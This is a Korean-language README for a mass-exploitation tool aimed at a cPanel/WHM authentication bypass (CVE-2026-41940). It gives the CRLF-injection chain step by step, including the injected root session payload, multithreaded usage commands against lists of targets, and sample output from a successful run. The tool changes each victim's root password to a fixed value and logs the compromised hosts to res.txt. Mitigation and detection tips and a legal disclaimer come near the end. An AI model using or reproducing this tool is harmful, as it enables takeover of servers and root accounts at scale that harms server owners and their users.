
cPanel/WHM의 CVE-2026-41940을 위한 대량 스캐너 및 대규모 익스플로잇 도구로, 자동화된 대상 검증과 고속 멀티스레드 실행을 위해 설계되었습니다.
CVE-2026-41940은 WHM/cPanel의 심각한 인증 우회 취약점으로, 공격자가 유효한 자격 증명 없이 인증을 우회하고 서버에 대한 루트 액세스 권한을 얻을 수 있게 합니다. 이 취약점은 세션 처리 메커니즘의 CRLF 인젝션을 악용하여 악성 세션 매개변수를 주입합니다.
이 도구는 여러 대상을 동시에 테스트하기 위한 멀티스레딩 지원, 지능적인 성공 감지 및 잘못된 대상의 자동 필터링 기능을 갖춘 대량 익스플로잇 기능을 제공합니다.
| 기능 | 설명 |
|---|---|
| ✅ 대량 익스플로잇 | 목록 파일에서 여러 대상을 스캔하고 익스플로잇 |
| 🚀 멀티스레딩 | 더 빠른 스캔을 위한 구성 가능한 스레드 수 (기본값: 15) |
| 🔐 자동 비밀번호 변경 | 성공적인 익스플로잇 시 루트 비밀번호를 Jenderal92로 변경 |
| 🛡️ 지능형 성공 감지 | 다양한 WHM API 응답 형식을 자동으로 감지 |
| ⚠️ 라이선스 오류 필터링 | 잘못된/읽을 수 없는 라이선스 오류가 있는 대상 제외 |
| 📝 구조화된 출력 | 확인된 성공 건만 `domain:port |
| 🛡️ SSL/TLS 지원 | 자체 서명 인증서 자동 처리 |
| 🔄 세션 관리 | 자동 세션 추출, 쿠키 주입 및 토큰 처리 |
| ⏱️ 타임아웃 제어 | 구성 가능한 연결 타임아웃 (기본값: 15초) |
| 🔍 사전 연결 확인 | 익스플로잇 시도 전 포트 가용성 확인 |
| 📊 실시간 진행 상황 | 각 익스플로잇 단계별 상세 진행 상황 표시 |
pip install requests urllib3 futures
또는 requirements.txt 사용:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Install dependencies
pip install -r requirements.txt
# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py
각 줄에 대상 하나씩 포함된 targets.txt 파일을 생성합니다:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
참고: 포트
2087은 WHM 기본 포트입니다. 지정하지 않으면 자동으로 포트 2087을 사용합니다. HTTP/HTTPS 접두사가 없으면 자동으로 추가됩니다.
python2 CVE-2026-41940.py targets.txt
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5
# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
res.txt)성공이 확인된 익스플로잇만 저장됩니다. 라이선스 오류, 비밀번호 변경 실패 또는 연결 문제가 있는 대상은 자동으로 제외됩니다.
형식:
domain:port|root|Jenderal92
출력 예시:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
다음 대상은 res.txt에 저장되지 않습니다:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
이 익스플로잇은 지능적인 검증을 갖춘 4가지 주요 단계로 구성됩니다:
[1] minting a preauth session...
/login/?login_only=1에 POST 요청 전송whostmgrsession 쿠키 획득,<obhex> 부분을 제거하여 세션 베이스 추출[2] sending the CRLF injection...
Authorization: Basic 헤더로 GET 요청 전송root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) 문자가 가짜 세션 매개변수를 주입cp_security_token이 포함된 Location 헤더로 응답[3] firing do_token_denied to propagate...
/scripts2/listaccts 엔드포인트에 접근do_token_denied 메커니즘 트리거[4] verifying we're WHM root...
/json-api/version에 접근하여 루트 수준 접근 권한 검증/json-api/passwd API를 호출하여 루트 비밀번호를 Jenderal92로 변경{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (이전 버전){"result": [{"status": 1}]} (레거시 형식)이 도구는 다음을 자동으로 제외합니다:
{"status": 0, "statusmsg": "Cannot Read License File"}# WHM access log
/usr/local/cpanel/logs/access_log
# cPanel error log
/usr/local/cpanel/logs/error_log
# Authentication log
/var/log/secure
# System messages
/var/log/messages
WHM/cPanel을 최신 패치 버전으로 즉시 업데이트
/usr/local/cpanel/scripts/upcp
모든 계정, 특히 루트에 대해 2단계 인증(2FA) 활성화
WHM → Security Center → Two-Factor Authentication
IP 화이트리스트로 WHM 접근 제한
WHM → Security Center → Host Access Control
의심스러운 패턴이 있는지 액세스 로그 정기적으로 모니터링
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
손상이 의심되면 모든 비밀번호 변경
방화벽 규칙을 사용하여 포트 2087 접근 제한
# Allow only trusted IPs
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Or use CSF/LFD firewall
csf -a YOUR_TRUSTED_IP
CRLF 인젝션 시도를 감지하는 WAF 규칙 구현
WHM/cPanel 설치에 대한 정기적인 보안 감사
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15
문제: Python 2.7 대신 Python 3을 사용하고 있음
해결 방법: 이 도구는 Python 2.7이 필요합니다.
# Check Python version
python2 --version # Must show Python 2.7.x
# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt
문제: 대상이 오프라인이거나 방화벽이 차단 중
해결 방법:
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
문제: 대상이 패치되었거나 WHM을 실행하지 않을 수 있음
해결 방법:
https://target:2087로 대상에 접근할 수 있는지 확인해결 방법: 스레드 수와 타임아웃 조정
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
참고: Cannot Read License File 오류가 표시되는 대상은 res.txt에서 자동으로 제외됩니다. 라이선스가 없는 WHM 설치에서는 비밀번호 변경이 작동하지 않으므로 이는 예상된 동작입니다.
사용자 지정 세션 매개변수를 위해 PAYLOAD_B64를 수정할 수 있습니다:
import base64
# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
do_passwd() 함수(약 280번째 줄)에서 비밀번호를 변경합니다:
{"user": "root", "password": "YourCustomPassword123"}
do_passwd() 함수를 수정하여 사용자 지정 WHM 응답 형식을 감지할 수 있습니다:
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
return "success"
기여를 환영합니다! 다음 단계를 따르세요:
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)이 도구가 보안 연구에 유용하다면 GitHub에서 ⭐를 눌러주세요!
Q: 이 도구가 탐지될 수 있나요?
A: 네, 이 도구는 WHM/cPanel 액세스 로그에 흔적을 남깁니다. 적절한 승인을 받고 합법적인 보안 테스트 목적으로만 사용하세요.
Q: 익스플로잇에 얼마나 걸리나요?
A: 네트워크 지연 시간과 서버 응답 시간에 따라 대상당 약 5~15초입니다.
Q: 사전 루트 액세스 권한이 필요한가요?
A: 아니요, 이 익스플로잇은 인증 없이 완전히 외부에서 작동합니다.
Q: 이 도구가 Windows에서 작동하나요?
A: 네, Python 2.7이 올바르게 설치되고 구성되어 있으면 작동합니다.
Q: 대상이 다른 포트를 사용하면 어떻게 해야 하나요?
A: 대상 URL에 포트를 지정하세요: cPanel의 경우 https://target.com:2083 또는 사용자 지정 포트.
Q: 익스플로잇이 성공했는데도 일부 대상이 res.txt에 저장되지 않는 이유는 무엇인가요?
A: 이 도구는 비밀번호가 성공적으로 변경된 대상만 저장합니다. 인증 우회가 성공했더라도 라이선스 오류, 비밀번호 변경 실패 또는 기타 문제가 있는 대상은 제외됩니다.
Q: 어떤 WHM/cPanel 버전이 취약한가요?
A: CVE-2026-41940 패치 이전 버전입니다. 패치된 버전은 cPanel의 변경 로그를 확인하세요.
Jenderal92로 변경합니다2087입니다 (지정하지 않으면 자동으로 사용)res.txt에 저장됩니다res.txt 파일이 생성됩니다 (이전 결과는 삭제됨)
교육용 보안 연구 목적으로 제작됨
책임감 있게 사용하고, 합법적으로, 윤리적으로 행동하세요
⚠️ 중요 경고!
이 도구는 전적으로 다음을 위해 제작되었습니다:
- ✅ 교육 목적 및 보안 연구
- ✅ 승인된 침투 테스트
- ✅ 귀하가 소유한 시스템에 대한 보안 평가
- ✅ 서면 승인을 받은 취약점 검증
엄격히 금지된 사용:
- ❌ 명시적 승인 없이 시스템에 접근
- ❌ 모든 형태의 불법 활동
- ❌ 악의적인 행위 또는 시스템에 해를 끼치는 행위
- ❌ 모든 컴퓨터 시스템에 대한 무단 접근
- ❌ 모든 지역, 주 또는 연방법 위반
저자는 이 도구 사용으로 인한 오용, 손상 또는 결과에 대해 어떠한 책임도 지지 않습니다. 이 도구를 사용함으로써 귀하는 귀하가 소유하거나 테스트할 명시적 서면 승인을 받은 시스템에서만 사용하는 데 동의합니다.
계속 진행하면 다음을 인정하는 것입니다:
- 대상 시스템을 테스트할 권한이 있습니다
- 무단 접근의 법적 영향을 이해합니다
- 모든 관련 법률 및 규정을 준수합니다
- 저자는 귀하의 행동에 대해 책임을 지지 않습니다
추가 면책 조항은 Jenderal92의 프로필에서 확인할 수 있습니다. 여기에서 확인하세요 !!!
| 인수 | 설명 | 기본값 | 필수 |
|---|
list_file | 대상 목록이 포함된 파일 (줄당 하나) | - | ✅ 예 |
--threads | 동시 스레드 수 | 15 | ❌ 아니요 |
--hostname | 모든 대상의 Host 헤더 재정의 | 자동 감지 | ❌ 아니요 |
--timeout | 연결 타임아웃(초) | 15 | ❌ 아니요 |
| 지표 | 설명 |
|---|
비정상적인 whostmgrsession 쿠키 | 적절한 인증 없이 나타나는 비정상적인 쿠키 패턴 |
| 헤더의 CRLF 문자 | HTTP 헤더에서 \r\n 시퀀스 감지 |
/scripts2/listaccts 접근 | 이 경로에 대한 무단 접근 |
비밀번호 Jenderal92 | 이 특정 비밀번호를 사용한 성공적인 로그인 |
cpsess 토큰 유출 | Location 헤더에 보이는 보안 토큰 |
| 실패 후 성공한 로그인 | 잘못된 비밀번호로 /login/?login_only=1에 POST 후 권한 있는 접근 |